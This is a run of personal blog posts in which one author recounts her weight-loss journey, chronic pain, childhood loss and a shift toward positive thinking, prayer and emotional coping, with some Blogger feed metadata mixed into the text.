I guess my, current day, reaction is linked to how I felt back then of being left, abandoned, suffering loss etc.....(I literally had a dad one day and the next day I didn't - Nothing was done to help me or explain what was going on. I never felt like I could talk about it and to this day, I still don't have a clear picture of what happened to him...)<br />
<br />
The conspiracy...….<br />
<br />
So what this all feels like to me, is a Divine path to wellness....<br />
<ol>
<li> 96 pound weight loss done with crazy dieting and excessive exercising which led to fatigue - BAD</li>
<li>Fatigue led to therapist who lead me to quilting - GOOD</li>
<li>Fatigue lead me to MRSA and leg and body pains - BAD</li>
<li>General doctor lead me to a pain management therapist - GOOD</li>
<li>Body pains led me to physical therapy who help me for a while but then fired me - BAD This led me to a new physical therapist who deals with pain management - GOOD</li>
<li>Pain management therapist helped me to understand that all this stems from childhood trauma - GOOD </li>
<li>All this is happening so I can really understand what's happening and learn new skills so I can achieve good mental and physical health - VERY GOOD</li>
</ol>
<div>
The conspiracy is my mind and body....</div>
<div>
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My body is leading me to the core issue of the loss I experienced when I was four when my dad died.</div>
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I am learning that the body and mind work together and that pain is a trigger. When I have pain, I need to learn to stop and see what is going on. There is more to the story. </div>
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The pattern for me is.</div>
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I never learned how to cope with loss or abandonment. So every time I experience new losses or feel abandoned or experience something that I don't like, my body reacts. Because I have not addressed the core problem of not learning how to cope, my body pain has followed me for 53 years.</div>
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<ul>
<li>Chronic earaches and strep throat, lots of stitches, broken foot and arm & collar bone through my childhood</li>
<li>Endometriosis at 25 - full hysterectomy at 27</li>
<li>In my 30's I had a Bunion problem and had it removed, Soon after that I had carpel tunnel problems in my left hand and had surgery and then in my right hand and had surgery</li>
<li> In my 40's I had chronic ear pain, leg and feet pain (was on my way to surgery for these) I had respiratory problems and then Hemi Facial Spasms</li>
<li>Then when I hit 50 I decided to get fit and lost 10 pounds pretty quick and then my leg pains were gone and then I got encouraged, got busy and lost 96 pounds...sadly not the healthy way</li>
<li>And then got the adrenal fatigue, MRSA, leg and back pains </li>
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So my body is reacting!!!!!! To something...….</div>
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My pain management therapist would say I'm reacting to trauma. I never learned how to cope correctly and get what I need.</div>
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Fortunately I received a real tangible gift of how really good coping skills and getting what I need works.</div>
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Remember last Sunday....I could barely walk.....I had pain, I was reeling from 2 losses that week and my Hubby was out of town during this time. I was feeling a little..OK a lot lost and frustrated. The miracle came when I allowed my friend to COMFORT ME!!! Her gift of kindness and love, concern and compassion flowed from her to me and I RECIEVED it!!!!</div>
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That's what my body needed and it responded. The results...….I had NO PAIN AND I COULD WALK ON MONDAY!!!!!</div>
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I woke up and knew I experienced a miracle. I learned a new skill. I learned that if I need something i need to be WILLING to go get it.</div>
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When I shared the experience I had with the pain management therapist she confirmed I am on the right track.</div>
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And honestly.....more conspiracy info....if I had not experienced that tangible act of kindness, I would have told you that none of my problems are because of trauma or loss or things that I don't want to hear. I would say, "That is a crock of poo!" </div>
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Today, I believe it, because I've put it into practice. There have been my times in the past couple of days, that I have had new little pains try to sneak in. Each time it happens I have.....</div>
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<ul>
<li>Stopped and assessed my surroundings. If I am uncomfortable about something, I will readjust or move around it</li>
<li>I will stop and breathe.....and breathe.....and breathe and say things like. "You are all right, you have what you need, you have support, you are loved, you got this....."</li>
<li>And I have asked for and been given lots and lots of hugs!!!!</li>
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Every time...and I mean every time this happens and I take the time to apply these new skills those pesky little pains go away. </div>
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Now I still do have a spine issue and I do get some pain from that, but even so, instead of panicking and thinking that I will never run again or I'll never get fit and healthy, I just tell myself..."For now, you are healing and taking care of yourself. Maybe you will run, or maybe not, but for now, relax and heal."</div>
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I don't know guys, this is a very brand new way of thinking for me. I don't know what my long term outlook for pain will be. But for today. I can walk.....I don't have pain and I am feeling great!</div>
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Keep focused!</div>
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Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com2tag:blogger.com,1999:blog-7614746678835590944.post-1749416473289632502019-07-18T12:24:00.002-07:002019-07-18T12:24:44.445-07:00Obstacles, Road Blocks & DisappointmentsLast Tuesday was not a good day...<br />
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I don't know if I said this earlier or not, but my primary doctor and my spine & knee doctors want me, as part of my treatment, to get gastric bypass surgery. I have not always been a fan of this option, but because I have been on this weight loss journey for almost 50 years, and have tried so many things, I was seriously considering the surgery. Unfortunately I found out on Tuesday that my insurance will not pay for it. This surgery costs over $30,000 which I cannot afford.<br />
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So I kept it together and tried not letting this news derail me and keep going on with my plan of eating well, drinking water and exercising. So I went to my water aerobic class. All went well until I got home and was getting ready for bed. All of a sudden I got extreme pain between my shoulders!! (Different from the lower back pain that I previously had and just got spine injections for, two weeks ago). This new pain is in a different place!! SO FRUSTRATING. I could hardly sleep that night. I tried to go to work the next day, and would have probably pushed through as this is my normal way....but I could not raise my hands high enough to wash my hair...so I stayed home. My hubby was home with me for a while, but he had to help his brother move, so he left me home alone. I tell you the minute he left, I started to cry....Not really cry...I wailed in anguish.....so in pain, so disappointed, so frustrated. I cried and wailed until there were no more tears.<br />
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So today, I press on. The back pain is getting better. I still have pain, but I can at least move. <br />
I will continue to work my plan and get my health back.<br />
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I will not give up. <br />
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Keep focused!!!<br />
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Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com2tag:blogger.com,1999:blog-7614746678835590944.post-20655922424670661112019-07-15T19:29:00.000-07:002019-07-15T19:29:10.190-07:00Water water water<div>
I have been trying to get my water in. Most days I can only get in 24oz. I can't seem to do more than that. I mostly want to get more in because it's good for me, but also if I'm drinking water, I'm not drinking coffee. Which I love...And it has about 50 calories of creamer in it. If I can have it my way, I'd drink 5 cups per day. That is a lot of extra calories. </div>
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I tried making myself drink a bottle of water before I have another cup of coffee...But I have not been able to do that.</div>
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I am happy to say, I found a way to get it in. The other day I was at a restaurant that served water. When I took a sip, it was delicious. I asked if they infused their water with something and she said, she just added a splash of cranberry juice. OH MY WORD. this is a game changer for me. </div>
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I tried it yesterday and I was able to get all my water in. </div>
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I probably took in a quarter cup of juice, maybe less. It was so satisfying!!</div>
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Keep focused!</div>
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Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com1tag:blogger.com,1999:blog-7614746678835590944.post-37389622434939702692019-07-14T21:14:00.001-07:002019-07-14T21:14:35.230-07:00Starting my forever health and fitness plan.....Well hello! I'm back!<br />
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I took a peek at my last few posts. I see a few restarts....and obviously I've had some stops in my health & fitness journey. Anyway, I really don't want to look back as I'm too excited for today and what's ahead.<br />
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Just a short update...<br />
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The 2015-2018 Adrenal Fatigue is over. I'm full of energy! Just as I was feeling better, around October 2018 I was having a lot of pains in my legs, hips and back. I started physical therapy (PT) at that time. I was still able to walk 10 miles per week. By December 2018 I was no longer able to walk that far. I was still doing PT, one ache would get healed, then I would get another. No relief! By June 2019 was unable to walk. I limped through my day, begging for a wheelchair and a handicap parking pass. Neither my hubby or the doctor thought this was a good idea. Good grief.....I was in misery!<br />
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Then late June, the physical therapist said she could no longer help me.....It was time for a specialist.<br />
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I was having trouble with my right knee, hip and back. I was diagnosed with Spinal Spondylisis, arthritis and scoliosis in my back and arthritis and a torn meniscus in my knee.<br />
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Treatment is more PT, a spinal shot and the doctor highly recommended.....weight loss!<br />
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I got am doing 12 PT exercises per day, I got my shot and I am finally mobile and pain free!!!<br />
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Now it's time for weight loss!!<br />
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So far, I'm down 5 pounds....as if today I weigh 240 pounds.<br />
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While I have been waiting for my health to be restored. I started a new hobby. Here is my first try. I think I made 12 of these in 2017. So much fun!!<br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3Gk60NTJeiX3ZFqtVrkgPhY6Y16pQe7xj03r7-Ht0hhe-8z30y11Uvu_BOFIx_OzsbfnFmrHzPrFBsZfFQyxm6E2vcC5tGSR6xhDkmH8YWgf_PuYMEVZT77cNZNlMRMBBzj7UvruzzS6D/s1600/First+Quilts+%25281%2529.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="240" data-original-width="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3Gk60NTJeiX3ZFqtVrkgPhY6Y16pQe7xj03r7-Ht0hhe-8z30y11Uvu_BOFIx_OzsbfnFmrHzPrFBsZfFQyxm6E2vcC5tGSR6xhDkmH8YWgf_PuYMEVZT77cNZNlMRMBBzj7UvruzzS6D/s1600/First+Quilts+%25281%2529.JPG" /></a></div>
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Keep focused!<br />
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<br />Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com1tag:blogger.com,1999:blog-7614746678835590944.post-29350767667192225632017-10-12T08:14:00.001-07:002017-10-12T08:14:16.324-07:00Attitude....Since I'm back at this plan to go from Fat to Fit to Fat to Fit again.....I better get this out there. I am 239 pounds...<br />
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I remember when I got started with my health and fitness journey at 274 pounds...and when I hit 239 pounds. I was delighted!!<br />
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Well I am here again and you know I have a decision to make about that number. I can either whine, complain, cry, be disgusted, unhappy or whatever, or I can decide to embrace right where I am. <br />
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I am not dead....I think that would be a great reason for all of the above emotions.<br />
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Fantastically I am way better off than that. Woo Hoo!!<br />
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So I am Re-Thinking about my attitude and Remembering that I am on my way! I am embracing where I am right now. I appreciate that I can still move, that I have not gone beyond return. I did not gain back all the weight. I am pretty darn OK!!!<br />
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And I am delighted to be 239+ for the last time!!!<br />
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Now I get to find the fun in how I'm going get this off. I am going to enjoy the journey and love my life. Because you know......there is so much more to life than feeling sorry for myself. I've got great positive things to do for my health and it's exciting to see new progress each day!!<br />
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I'm doing this!! Once and for all!! Are you with me?<br />
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Keep moving!!<br />
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Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com0tag:blogger.com,1999:blog-7614746678835590944.post-91247995933743023172017-10-11T07:16:00.001-07:002017-10-11T07:16:18.593-07:00Re-Think & Remember....OK for me, focus is key! The past two days, I have put my health first and I'm already feeling better!!<br />
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My Hubby got me a Smart Watch which helps me to remember to stand, drink water, and move. It's fun meeting and sometimes exceeding my daily goals. On my work tablet, I write each day "Re-Think and Remember"....<br />
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"Re-Think" for me means....I have a choice every day to put my focus on either good things or bad things for my life. I can think that it's just too late for me, I'm not healthy enough, I am too tired, I just want to eat what I want, I really don't care, blah blah blah. Yeah that thinking has not helped me in the past two years.<br />
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Or I can decide that it's not too late for me. Until my body is in the box, I still can make healthy choices. I am healthy enough and will get stronger if I keep pushing toward good health.. I just need to keep going. I am tired, but.....I can choose to go to bed earlier and maybe say no to things that are stealing my energy! Hum what a concept! I really do want to eat whatever I want, but you know....I really don't feel well when I do. It's so not worth it! And I DO REALLY CARE!!! I want to be healthy as I grow old. I want to be around for my awesome Hubby, children and grandbabies. I want to run a marathon...I know, I can't let it go....I want to help others....Blah Blah Blah....Nothing but positive thinking for me!!<br />
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"Remember" for me means...I need to remember what works, remember the plan, remember that I've set goals, remember what it felt like to be fit, remember what it felt like to cross that finish line. Remember that there's more for me to do and I need to be healthy enough to do it.<br />
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So today and each day after.....I'm going to Re-Think what I'm doing and make good choices and Remember why I do what I do.<br />
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Keep moving!!Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com0tag:blogger.com,1999:blog-7614746678835590944.post-91185077319540974902017-10-10T07:23:00.001-07:002017-10-10T07:23:37.961-07:00AttitudeWhile I was on my walk yesterday, two minutes in, my legs began to hurt. I was facing a 3 mile walk and it was waaaay to early to start with this. So I had a choice. I could complain, feel frustrated and quit, or I could pray and change my attitude.<br />
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I prayed and began praising God for the what I have and for the things I "CAN" do!! Instead of being mad that my body aches and is so painful right now, I changed my thinking and prayed life into them. I imagined all the muscles, tendons and blood vessels in my legs were healthy and strong. I saw that my hips were healed. That my heart was strong and I had iron rich blood moving through my body. Before I knew it, all the pain was gone and I was able to go 3.6 miles at my lunch break and then I took another 2 mile walk in the evening - - WITH NO PAIN!!<br />
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I decided to Re-Think this whole thing out. Instead of thinking about what I don't have or what does not work or whatever negative thing I can dredge up. I have decided to Re-Think it and imagine what I want it to be. <br />
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Yesterday, I was thinking that I was ugly. Today, I decided that I was not. Oh my word, my hair and makeup turned out. I have my favorite outfit on. And I was able to get these beautiful earrings in my ears. (They would not go in before). So I'm feeling really good!!! I'm feeling beautiful!!!<br />
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Get rid of those negative thoughts and Re-Think how you want things to go. Give it a try ~ You have nothing to lose!!<br />
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I am going to have another successful. How about you?<br />
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Keep moving!!!Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com0tag:blogger.com,1999:blog-7614746678835590944.post-81561751719400714732017-10-09T11:28:00.002-07:002017-10-10T07:05:22.468-07:00New Beginning ~~~ Again!!I don't have time to really rehash what was, but here's a snippet of what's happened so far...<br />
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Prior to 2010 I was 274 pounds, sedentary, on a bunch of meds for high blood pressure and high cholesterol, sick and very unhappy.<br />
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<b>What got me started.....</b><br />
1.) I gave myself 1 year to see if I could lose weight.<br />
2.) Got proof that very large people can lose weight, by watching the Biggest Loser....(Since I was told by doctors that once you are fat you will always be fat and I thought that was true. Watching BL I found that it was possible to get it off....but it's the keeping it off thing that is the hard part.)<br />
3.) Heard that there is <i><b>"NO MAGIC"</b></i> - You just have to<b><i> "Move More and Eat Less!!" </i></b><br />
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So I got started. Cut out fast food and soda, yes, even diet soda, started exercising and quickly lost 50 pounds.<br />
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I was so happy and really having fun with the process until one of my so called blog "friend" said, "Oh you just wait, you will hit the wall and it won't be fun anymore". That very day, it was no longer fun because of what she said. B*&$%!!!<br />
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Anyway, I kept it up and lost another 24 pounds in the next years and I started running. For some reason, I did not really understand that lifting weights, running and building muscle could equate to weight gain. I was looking great, but started to freak because my weight was going up instead of down.<br />
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So I did a very stupid thing. I got started on a crazy low calorie diet (not mentioning which one, but if you look back you can figure it out.) I did that for another couple of years and in total, I had lose 94 pounds, ran 10 half marathons and bunch of 10k's and 5k's and did a sprint triathlon. All the while eating very few calories and exercising<i> a lot!!</i><br />
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Two summers ago, my body crashed. All my reserves were gone and I could no longer run, my mind was all fuzzy and I got really sick!! Doctors said I did not do it right and instead of making my body healthy and fit, I just got myself a lot sicker.<br />
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IT'S BEEN OVER TWO YEARS SINCE I HAVE BEEN ABLE TO RUN!!!!<br />
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The only thing that I've done is I have been able to walk at least 15 miles per week, but it's been a struggle!!<br />
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My food is off, water is off, vitamins are sporadic, my head is so not in the game.<br />
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<i><b>AND YOU GUESSED IT. - - - I'VE GAINED 54 POUNDS BACK!!</b></i><br />
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Today is supposed to be my day to get back on track and then my walking buddy cancels on me.<br />
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WOO HOO!! I'm the hook today!!<br />
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<b><i>REALLY?!?!?!</i></b><br />
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Girl - <i><b>If not today, when????</b></i><br />
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It's almost noon, it's beautiful out, I've had my lunch and water and I'm gettin' my workout clothes on and I'm heading the door!!<br />
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Keep Moving!!!<br />
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UPDATE: Just got back - 3.6 miles (walk) at lunch, then 2 mile walk in the evening. Great food day and got all my water in!! WOO HOO!!<br />
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<br />Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com0tag:blogger.com,1999:blog-7614746678835590944.post-46026726598021462902017-06-05T20:53:00.001-07:002017-06-05T20:53:55.058-07:00Feeling better. Ok I'm feeling a little better today. I don't feel as hopeless as I did yesterday. I have a plan formulating in my brain. Most urgent things I need to do for myself... <br />
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Daily.......<br />
1.) Change my attitude from a I can't do this attitude to a I CAN do this attitude.<br />
2.) Take my vitamins and supplements.<br />
3.) Drink my water.<br />
4.) Eat less.<br />
5.) Move more.<br />
6.) Take care of daily needs.<br />
7.) Get my sleep.<br />
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I'll refine this as I go along. For now this is enough. If I just do the above that would be a great improvement in my life. <br />
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More to follow!!!<br />
<br />Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com1